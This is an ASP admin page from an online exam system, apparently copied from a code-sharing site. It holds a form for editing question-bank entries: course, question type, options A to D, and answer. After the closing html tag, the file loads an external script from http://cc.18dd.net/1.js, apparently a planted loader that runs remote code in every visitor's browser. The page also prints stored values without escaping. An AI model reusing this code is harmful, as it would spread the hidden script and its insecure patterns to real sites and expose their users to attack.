📄 questionedit.asp
字号:
<!--#include File="isAdmin.asp"-->
<!--#include file="../class/ELesson.asp"-->
<!--#include file="../class/EType.asp"-->
<!--#include file="../class/EQuestion.asp"-->
<html>
<head>
<title>编辑题库信息</title>
<link href=../style.css rel=STYLESHEET type=text/css>
</head>
<script language="javascript">
function FieldChk()
{
if (document.myform.lid.value==0)
{
alert("请选择课程名称!");
document.myform.lid.onfocus();
return false;
}
if (document.myform.tid.value==0)
{
alert("请选择试题类型!");
document.myform.tid.onfocus();
return false;
}
if (document.myform.title.value=="")
{
alert("请输入试题题目!");
document.myform.title.onfocus();
return false;
}
if (document.myform.ans.value=="")
{
alert("请输入试题答案!");
document.myform.ans.onfocus();
return false;
}
return true;
}
</script>
<body>
<%
Set eq = New EQuestion
Set ls = New ELesson
Set tp = New EType
Dim qid
qid = Request.QueryString("qid")
Oper = "add"
If qid<>"" Then
Oper = "update"
eq.GetQuestionInfo(qid)
If Not eq.rs.EOF Then
lid = eq.rs("LId")
tid = eq.rs("TId")
qtitle = eq.rs("QTitle")
qa = eq.rs("A")
qb = eq.rs("B")
qc = eq.rs("C")
qd = eq.rs("D")
qans = eq.rs("QAnswer")
End If
End If
%>
<form name="myform" action="QuestionSave.asp?action=<%=Oper%>" method="post">
<p align="center"><font size=3 color=red><b>题库信息</b></font></p>
<br><input type="hidden" name="qid" value="<%=qid%>">
<table border="1" width="90%" cellspacing="1" align="center">
<tr>
<td width="20%" align="center">课程名称</td>
<td width="80%"><select name=lid>
<option value=0>--请选择课程名称--</option>
<%ls.GetLessonList()
DO While Not ls.rs.EOF
If ls.rs("LId")=CInt(lid) Then%>
<option selected value=<%=ls.rs("LId")%>><%=ls.rs("LName")%></option>
<%Else%>
<option value=<%=ls.rs("LId")%>><%=ls.rs("LName")%></option>
<%End If
ls.rs.MoveNext
Loop
%></select></td>
</tr>
<tr> <td align="center">试题类型</td>
<td><select name=tid>
<option value=0>--请选择类型名称--</option>
<%tp.GetTypeList()
DO While Not tp.rs.EOF
If tp.rs("TId")=CInt(tid) Then%>
<option selected value=<%=tp.rs("TId")%>><%=tp.rs("TName")%></option>
<%Else%>
<option value=<%=tp.rs("TId")%>><%=tp.rs("TName")%></option>
<%End If
tp.rs.MoveNext
Loop
%></select>
</td>
</tr>
<tr>
<td align="center">试题题目</td>
<td><textarea rows="3" name="title" cols="50"><%=qtitle%></textarea>
</td>
</tr>
<tr>
<td align="center">A选项</td>
<td><textarea rows="2" name="qa" cols="50"><%=qa%></textarea></td>
</tr>
<tr>
<td align="center">B选项</td>
<td><textarea rows="2" name="qb" cols="50"><%=qb%></textarea></td>
</tr>
<tr>
<td align="center">C选项</td>
<td><textarea rows="2" name="qc" cols="50"><%=qc%></textarea></td>
</tr>
<tr>
<td align="center">D选项</td>
<td><textarea rows="2" name="qd" cols="50"><%=qd%></textarea></td>
</tr>
<tr>
<td align="center">试题答案</td>
<td><textarea rows="3" name="ans" cols="50"><%=qans%></textarea></td>
</tr>
</table>
<p align=center>
<input type="submit" name="ok" value=" 确 定 " onclick="return FieldChk()"></p>
</form>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -